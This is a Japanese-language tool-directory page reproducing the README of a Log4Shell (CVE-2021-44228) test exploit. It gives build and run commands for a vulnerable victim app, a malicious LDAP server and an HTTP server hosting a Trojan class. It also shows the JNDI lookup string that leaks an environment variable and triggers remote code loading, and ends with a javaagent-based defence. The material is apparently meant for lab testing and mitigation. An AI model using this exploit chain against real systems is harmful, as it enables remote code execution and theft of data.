Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
log4shell-test-exploit — CVE-2021-44228 のテストエクスプロイト | Kitploit
ツール/GitHubGitHub/wajda/log4shell-test-exploit
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ペイロード開発ラボと実践
GitHubwajda/log4shell-test-exploit

log4shell-test-exploit

CVE-2021-44228 のテストエクスプロイト

リポジトリを見る
114年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-44228 (log4shell) のテストエクスプロイト

準備

root@kitploit:~
# Install Nodejs HTTP server 
npm -g i http-server

# Build victim app
cd victim-app
mvn install

# Compile Trojan
cd test-trojan
javac Trojan.java

# Build marshalsec (required Java 8)
git clone [email protected]:mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

# Build log4j-jndi-be-gone
git clone [email protected]:wajda/log4j-jndi-be-gone.git
cd log4j-jndi-be-gone
git checkout shading-support
./gradlew

トロイの木馬のペイロードをホストするHTTPサーバーの起動

root@kitploit:~
cd test-trojan
http-server .

悪意のあるLDAPサーバーの起動

参照: https://github.com/mbechler/marshalsec

root@kitploit:~
cd marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Trojan"

エクスプロイトイベントの監視(オプション)

標準エラー出力が非表示の場合に便利

root@kitploit:~
watch -d -n 1 'ls -la /tmp/ | grep -i log4shell-BUSTED'

エクスプロイト

説明

被害者アプリケーションは、脆弱な log4j2 ライブラリ(バージョン 2.14.1)を介して次の文字列をログに記録します

root@kitploit:~
log.error("${jndi:ldap://127.0.0.1:1389/a/${env:USER}}");

2つの攻撃ベクトルを同時に実行します:

  1. 環境変数のスニッフィング(この例では $USER)。これは marshalsec LDAPサーバーの出力で確認できます
root@kitploit:~
Send LDAP reference result for a/<VICTIM_USER_NAME> redirecting to http://127.0.0.1:8080/Trojan.class
  1. 被害者のアプリケーションの標準エラーストリームにメッセージ !!! BUSTED !!! を記録し、さらに空の /tmp/log4shell-BUSTED-* ファイルを作成する悪意のあるコードのダウンロードと実行。
    この攻撃を機能させるには、被害サーバーで次のJVMオプションを有効にする必要があります:
root@kitploit:~
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
実行
root@kitploit:~
cd victim-app

# ... in a console app
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar

# ... in a web app (on Tomcat)
cp web/target/log4j2-victim-webapp-1.0-SNAPSHOT.war $TOMCAT_HOME/webapps
curl http://localhost:$TOMCAT_HTTP_PORT/log4j2-victim-webapp-1.0-SNAPSHOT/

防御

参照: https://github.com/wajda/log4j-jndi-be-gone/tree/shading-support

root@kitploit:~
java -javaagent:log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=classSigDetection=enabled -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar

システム全体の防御

すべての java バイナリを以下のスクリプトで置き換えます:

java.guarded

root@kitploit:~
#!/bin/bash
$(dirname "$0")/java.original "-javaagent:/path/to/log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=logDir=/tmp,classSigDetection=enabled" "$@"

例:

root@kitploit:~
 cd $(dirname $(which java))
 sudo su
 mv java java.original
 cp java.guarded java
ツールをダウンロード